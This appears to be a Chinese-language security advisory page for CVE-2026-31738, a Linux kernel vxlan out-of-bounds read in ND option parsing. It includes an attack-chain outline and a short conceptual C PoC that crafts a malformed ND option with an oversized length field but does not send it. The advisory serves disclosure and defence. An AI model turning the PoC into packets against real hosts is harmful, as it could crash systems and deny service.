IPBUF安全漏洞报告
English
CVE-2026-31738 CVSS 5.5 中危

CVE-2026-31738 Linux内核vxlan模块越界读取漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31738
漏洞类型
内存越界读取
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelVXLANMemory CorruptionDoSPrivilege Escalation (Context)

漏洞概述

Linux内核vxlan模块中的vxlan_na_create函数存在安全漏洞。该函数在处理邻居发现(ND)选项时,未正确验证选项长度。本地低权限攻击者可利用格式错误的恶意数据包,导致解析器访问超出计算范围的内存或读取过短的源LLADDR载荷,从而引发系统拒绝服务。

技术细节

该漏洞源于Linux内核vxlan模块中vxlan_na_create()函数的实现缺陷。在构建VXLAN邻居通告(NA)消息时,函数需要解析ND选项以获取源链路层地址(LLADDR)。代码逻辑直接信任了ND选项头中声明的长度字段,并据此指针进行偏移运算和内存读取。如果攻击者发送特制的ND选项,将长度字段设置得过大或过小(小于以太网地址长度),vxlan_na_create()函数将读取超出预期缓冲区范围的数据,或者在解析LLADDR时访问无效内存地址。这种越界访问破坏了内核内存的安全性,导致内核异常终止(DoS)。由于攻击向量为本地(AV:L),攻击者需在目标系统上拥有低权限账号即可利用此漏洞提升影响至系统层面。修复补丁通过在解析前校验剩余选项空间长度以及LLADDR选项的最小尺寸来缓解此问题。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限账号访问权限(PR:L)。
STEP 2
步骤2
攻击者构造包含恶意ND选项的VXLAN数据包,其中选项长度字段被设置为异常值。
STEP 3
步骤3
目标系统内核处理该数据包,调用vxlan_na_create()函数解析ND选项。
STEP 4
步骤4
由于缺少长度校验,函数执行越界内存读取,导致内核崩溃或系统拒绝服务(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual Proof of Concept for CVE-2026-31738 // This snippet demonstrates how to craft a malformed ND option. // Sending this within a VXLAN encapsulated packet triggers the vulnerability. #include <stdio.h> #include <string.h> struct nd_option { unsigned char type; unsigned char length; // Length is in units of 8 octets }; int main() { printf("[+] CVE-2026-31738 PoC Generator\n"); printf("[+] Vulnerability: vxlan_na_create OOB Read\n"); unsigned char packet[256]; struct nd_option *opt = (struct nd_option *)packet; // Set Type to Source Link-Layer Address (1) opt->type = 0x01; // Set Length to a malicious value (e.g., 0xFF) // Valid length for MAC is 1 (8 bytes). // Excessive length causes parser to read beyond buffer. opt->length = 0xFF; // Fill padding to simulate payload memset(packet + 2, 0x90, sizeof(packet) - 2); printf("[+] Malformed ND option created with length: 0x%02x\n", opt->length); printf("[+] Payload must be sent inside a VXLAN packet to the target.\n"); return 0; }

影响范围

Linux Kernel < v6.12
Linux Kernel < v6.11
Linux Kernel < v6.10
Linux Kernel < v6.6
Linux Kernel < v6.1

防御指南

临时缓解措施
建议立即升级Linux内核以修复此漏洞。如果暂时无法重启升级,应严格限制本地用户权限,防止恶意用户利用该漏洞发起拒绝服务攻击导致系统宕机。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表